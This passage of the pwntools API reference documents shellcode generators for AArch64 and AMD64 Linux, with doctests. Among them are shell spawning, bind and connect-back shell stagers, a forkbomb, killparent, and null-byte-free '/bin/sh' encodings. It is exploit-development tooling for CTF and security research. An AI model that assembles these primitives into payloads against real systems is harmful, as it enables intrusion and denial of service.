>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwnlib.runner.run_assembly_exitcode(*a, **kw)`

Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

`pwnlib.runner.run_shellcode_exitcode(*a, **kw)`

Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.24 pwntools.shellcraft — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

2.24.1 Submodules

`pwntools.shellcraft.aarch64` — Shellcode for AArch64

`pwntools.shellcraft.aarch64`

`pwntools.shellcraft.aarch64.breakpoint()`
 Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

`pwntools.shellcraft.aarch64.crash()`
 Crashes the process.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwntools.shellcraft.aarch64.infloop()`
 An infinite loop.

Example

```
>>> io = run_assembly(shellcraft.infloop())
>>> io.recvall(timeout=1)
b''
>>> io.close()
```

`pwntools.shellcraft.aarch64.memcpy(dest, src, n)`
 Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.aarch64.mov(dst, src)`

Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set `context.arch` to 'arm' and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Examples

```
>>> print(shellcraft.mov('x0', 'x1').rstrip())
mov x0, x1
>>> print(shellcraft.mov('x0', '0').rstrip())
mov x0, xzr
>>> print(shellcraft.mov('x0', 5).rstrip())
mov x0, #5
>>> print(shellcraft.mov('x0', 0x34532).rstrip())
/* Set x0 = 214322 = 0x34532 */
mov x0, #17714
movk x0, #3, lsl #16
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.aarch64.push(value, register1='x14', register2='x15')`

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate using `pwnlib.constants.eval()` before determining how to push it.

Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Note: AArch64 requires that the stack remain 16-byte aligned at all times, so this alignment is preserved.

Parameters

- **value** (*int*, *str*) – The value or register to push
- **register1** (*str*) – Scratch register to use
- **register2** (*str*) – Second scratch register to use

Example

```
>>> print(pwnlib.shellcraft.push(0).rstrip())
/* push 0 */
mov x14, xzr
str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push(1).rstrip())
/* push 1 */
mov x14, #1
str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push(256).rstrip())
/* push 0x100 */
mov x14, #256
str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push('SYS_execve').rstrip())
/* push SYS_execve (0xdd) */
mov x14, #221
str x14, [sp, #-16]!
>>> print(pwnlib.shellcraft.push('SYS_sendfile').rstrip())
/* push SYS_sendfile (0x47) */
mov x14, #71
str x14, [sp, #-16]!
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.push('SYS_execve').rstrip())
...
/* push SYS_execve (0x3b) */
mov x14, #59
str x14, [sp, #-16]!
```

`pwnlib.shellcraft.aarch64.pushstr(string, append_null=True, register1='x14', register2='x15', pretty=None)`

Pushes a string onto the stack.

`r12` is defined as the inter-procedural scratch register (`$ip`), so this should not interfere with most usage.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, `R7` is used.

Examples

```
>>> print(shellcraft.pushstr("Hello!").rstrip())
/* push b'Hello!\x00' */
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #8559, lsl #0x20
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world!").rstrip())
/* push b'Hello, world!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 143418749551 = 0x21646c726f */
```

(continues on next page)

(continued from previous page)

```

mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #33, lsl #0x20
stp x14, x15, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
/* push b'Hello, world, bienvenue\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 28558089656888933 = 0x65756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #101, lsl #0x30
str x14, [sp, #-16]!
>>> print(shellcraft.pushstr("Hello, world, bienvenue!").rstrip())
/* push b'Hello, world, bienvenue!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #8549, lsl #0x30
mov x15, xzr
stp x14, x15, [sp, #-16]!

```

`pwnlib.shellcraft.aarch64.setregs(reg_context, stack_allowed=True)`

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'x0':1, 'x2':'x3'}).rstrip())
mov x0, #1
mov x2, x3
>>> print(shellcraft.setregs({'x0':'x1', 'x1':'x0', 'x2':'x3'}).rstrip())
mov x2, x3
eor x0, x0, x1 /* xchg x0, x1 */
eor x1, x0, x1
eor x0, x0, x1
```

`pwnlib.shellcraft.aarch64.trap()`
 Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

`pwnlib.shellcraft.aarch64.xor(key, address, count)`
 XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.aarch64.linux

`pwnlib.shellcraft.aarch64.linux.cat(filename, fd=1)`
 Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> write('flag', 'This is the flag\n')
>>> shellcode = shellcraft.cat('flag') + shellcraft.exit(0)
>>> print(disasm(asm(shellcode)))
0: d28d8cce      mov     x14, #0x6c66          // #27750
```

(continues on next page)

(continued from previous page)

```

4:  f2acec2e      movk    x14, #0x6761, lsl #16
8:  f81f0fee      str     x14, [sp, #-16]!
c:  d29ff380      mov     x0, #0xff9c           // #65436
10: f2bffffe0     movk    x0, #0xffff, lsl #16
14: f2dffffe0     movk    x0, #0xffff, lsl #32
18: f2fffffe0     movk    x0, #0xffff, lsl #48
1c: 910003e1      mov     x1, sp
20: aa1f03e2      mov     x2, xzr
24: aa1f03e3      mov     x3, xzr
28: d2800708      mov     x8, #0x38           // #56
2c: d4000001      svc     #0x0
30: aa0003e1      mov     x1, x0
34: d2800020      mov     x0, #0x1           // #1
38: aa1f03e2      mov     x2, xzr
3c: d29ffffe3      mov     x3, #0xffff         // #65535
40: f2afffe3      movk    x3, #0x7fff, lsl #16
44: d28008e8      mov     x8, #0x47           // #71
48: d4000001      svc     #0x0
4c: aa1f03e0      mov     x0, xzr
50: d2800ba8      mov     x8, #0x5d           // #93
54: d4000001      svc     #0x0
>>> run_assembly(shellcode).recvline()
b'This is the flag\n'
```

`pwnlib.shellcraft.aarch64.linux.connect` (*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in `x12`.

`pwnlib.shellcraft.aarch64.linux.echo` (*string*, *sock='1'*)

Writes a string to a file descriptor

Example

```

>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.aarch64.linux.forkexit` ()

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.aarch64.linux.loader` (*address*)

Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.aarch64.linux.loader_append` (*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)


```
>>> gcc = process(['aarch64-linux-gnu-gcc', '-xc', '-static', '-Wl,-Ttext-
↳segment=0x20000000', '-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
...     printf("Hello, %s!\n", "world");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> run_assembly(sc).recvline()
b'Hello, world!\n'
```

`pwnlib.shellcraft.aarch64.linux.open` (*filename*, *flags*='O_RDONLY', *mode*=0)
Opens a file

`pwnlib.shellcraft.aarch64.linux.readn` (*fd*, *buf*, *nbytes*)
Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – *fd*
- **buf** (*void*) – *buf*
- **nbytes** (*size_t*) – *nbytes*

`pwnlib.shellcraft.aarch64.linux.sh` ()
Execute a different process.

```
>>> p = run_assembly(shellcraft.aarch64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.socket` (*network*='ipv4', *proto*='tcp')
Creates a new socket

`pwnlib.shellcraft.aarch64.linux.stage` (*fd*=0, *length*=None)
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

```
pwnlib.shellcraft.aarch64.linux.syscall(syscall=None, arg0=None, arg1=None,
                                         arg2=None, arg3=None, arg4=None, arg5=None,
                                         arg6=None)
```

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.aarch64.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov x0, #1
mov x1, sp
mov x2, #2
mov x3, xzr
mov x8, #11
svc 0
>>> print(shellcraft.aarch64.linux.syscall('SYS_exit', 0).rstrip())
/* call exit(0) */
mov x0, xzr
mov x8, #SYS_exit
svc 0
>>> print(pwnlib.shellcraft.openat(-2, '/home/pwn/flag').rstrip())
/* openat(fd=-2, file='/home/pwn/flag', oflag=0) */
/* push b'/home/pwn/flag\x00' */
/* Set x14 = 8606431000579237935 = 0x77702f656d6f682f */
mov x14, #26671
movk x14, #28015, lsl #16
movk x14, #12133, lsl #0x20
movk x14, #30576, lsl #0x30
/* Set x15 = 113668128124782 = 0x67616c662f6e */
mov x15, #12142
movk x15, #27750, lsl #16
movk x15, #26465, lsl #0x20
stp x14, x15, [sp, #-16]!
mov x1, sp
/* Set x0 = -2 = -2 */
mov x0, #65534
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x2, xzr
/* call openat() */
mov x8, #SYS_openat
svc 0
```

pwnlib.shellcraft.amd64 — Shellcode for AMD64

pwnlib.shellcraft.amd64

Shellcraft module containing generic Intel x86_64 shellcodes.

```
pwnlib.shellcraft.amd64.crash()
Crash.
```

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.amd64.infloop()`

A two-byte infinite loop.

`pwnlib.shellcraft.amd64.itoa(v, buffer='rsp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.amd64.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.amd64.mov(dest, src, stack_allowed=True)`

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set `context.arch` to `'amd64'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```
>>> print(shellcraft.amd64.mov('eax', 'ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
```

(continues on next page)

(continued from previous page)

```

movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
push 1
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
mov edi, 0x1010101 /* 255 == 0xff */
xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
push rax
mov rax, 0x1010110dfac01fe
xor [rsp], rax
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
mov eax, 0x80010101
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
push 0xffffffffffffffff
pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
...     xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
...     push SYS_read /* 3 */
...     pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↪rstrip())
...     push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
...     pop rax

```

Parameters

- **dest** (*str*) – The destination register.

- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

`pwnlib.shellcraft.amd64.nop()`

A single-byte nop instruction.

`pwnlib.shellcraft.amd64.popad()`

Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwnlib.shellcraft.amd64.push(value)`

Pushes a value onto the stack without using null bytes or newline characters.

If *src* is a string, then we try to evaluate with `context.arch = 'amd64'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters *value* (*int*, *str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
/* push 256 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 1
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 4
```

`pwnlib.shellcraft.amd64.pushad()`

Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.amd64.pushstr(string, append_null=True)`

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.amd64.pushstr('').rstrip())
/* push b'\x00' */
push 1
dec byte ptr [rsp]
>>> print(shellcraft.amd64.pushstr('a').rstrip())
/* push b'a\x00' */
push 0x61
```

(continues on next page)

(continued from previous page)

```
>>> print(shellcraft.amd64.pushstr('aa').rstrip())
/* push b'aa\x00' */
push 0x1010101 ^ 0x6161
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
push 0x1010101 ^ 0x616161
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
push 0x61616161
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3').rstrip())
/* push b'aaa\xc3\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0xc3616161
xor [rsp], rax
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3', append_null = False).rstrip())
/* push b'aaa\xc3' */
push -0x3c9e9e9f
>>> print(shellcraft.amd64.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
push 0x1010101 ^ 0xc3
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr(b'\xc3', append_null = False).rstrip())
/* push b'\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
48b80101010101010101015048b82e63686f2e72690148310424
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr("\x00", False))))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.amd64.**pushstr_array**(*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.amd64.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters `return_value` – Value to return

`pwnlib.shellcraft.amd64.setregs(reg_context, stack_allowed=True)`

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip())
mov rbx, rax
push 1
pop rax
>>> print(shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
mov rbx, rax
push SYS_write /* 1 */
pop rax
>>> print(shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
mov rcx, rbx
xchg rax, rbx
>>> print(shellcraft.setregs({'rax':1, 'rdx':0}).rstrip())
push 1
pop rax
cdq /* rdx=0 */
```

`pwnlib.shellcraft.amd64.strcpy(dst, src)`

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
b'Hello, world\n'
```

`pwnlib.shellcraft.amd64.strlen(string, reg='rcx')`

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, `rcx` is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwnlib.shellcraft.amd64.trap()`

A trap instruction.

`pwnlib.shellcraft.amd64.xor(key, address, count)`

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.amd64.linux`

Shellcraft module containing Intel x86_64 shellcodes for Linux.

`pwnlib.shellcraft.amd64.linux.bindsh(port, network)`

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.cat(filename, fd=1)`

Opens a file and writes its contents to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.connect(host, port, network='ipv4')`

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in rbp.

`pwnlib.shellcraft.amd64.linux.connectstager` (*host, port, network='ipv4'*)
 connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.amd64.linux.dup` (*sock='rbp'*)
 Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.amd64.linux.dupsh` (*sock='rbp'*)
 Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.amd64.linux.echo` (*string, sock='I'*)
 Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.egghunter` (*egg, start_address = 0*)
 Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwnlib.shellcraft.amd64.linux.findpeer` (*port=None*)
 Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

`pwnlib.shellcraft.amd64.linux.findpeersh` (*port=None*)
 Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.amd64.linux.findpeerstager` (*port=None*)
 Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.amd64.linux.forkbomb` ()
 Performs a forkbomb attack.

`pwnlib.shellcraft.amd64.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.amd64.linux.getpid` ()
 Retrieve the current PID

`pwnlib.shellcraft.amd64.linux.kill` (*pid, signal='SIGKILL'*)
 Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.killparent` ()
 Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.amd64.linux.listen` (*port, network*)
 Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.loader` (*address*)
 Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.amd64.linux.loader_append` (*data=None*)
 Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m64', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-\n→'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
...     printf("Hello, %s!\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
>>> run_assembly(sc).recvline() == b'Hello, amd64!\n'
True
```

`pwnlib.shellcraft.amd64.linux.membot` (*readsock=0, writesock=1*)

Read-write access to a remote process' memory.

Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop
- 1: Read data
- 2: Write data

`pwnlib.shellcraft.amd64.linux.migrate_stack` (*size=1048576, fd=0*)

Migrates to a new stack.

`pwnlib.shellcraft.amd64.linux.mmap_rwx` (*size=4096, protection=7, address=None*)

Maps some memory

`pwnlib.shellcraft.amd64.linux.read` (*fd=0, buffer='rsp', count=8*)

Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwnlib.shellcraft.amd64.linux.read_upto` (*fd=0, buffer='rsp', sizereg='rdx'*)

Reads up to N bytes 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.readfile` (*path, dst='rdi'*)

Args: [path, dst (imm/reg) = rdi] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.readinto` (*sock=0*)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readloop` (*sock=0*)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readn` (*fd*, *buf*, *nbytes*)
 Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – *fd*
- **buf** (*void*) – *buf*
- **nbytes** (*size_t*) – *nbytes*

`pwnlib.shellcraft.amd64.linux.readptr` (*fd=0*, *target_reg='rdx'*)
 Reads 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.recvsize` (*sock*, *reg='rcx'*)
 Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param *sock*, the socket to read the payload from.: :param *reg*, the place to put the size: :type *reg*, the place to put the size: default `ecx`
 Leaves socket in `ebx`

`pwnlib.shellcraft.amd64.linux.setregid` (*gid='egid'*)
 Args: [*gid* (*imm/reg*) = *egid*] Sets the real and effective group id.

`pwnlib.shellcraft.amd64.linux.setreuid` (*uid='euid'*)
 Args: [*uid* (*imm/reg*) = *euid*] Sets the real and effective user id.

`pwnlib.shellcraft.amd64.linux.sh` ()
 Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.socket` (*network='ipv4'*, *proto='tcp'*)
 Creates a new socket

`pwnlib.shellcraft.amd64.linux.stage` (*fd=0*, *length=None*)
 Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to `recv` data from. Default is `stdin` (0).
- **length** (*int*) – Optional buffer length. If `None`, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
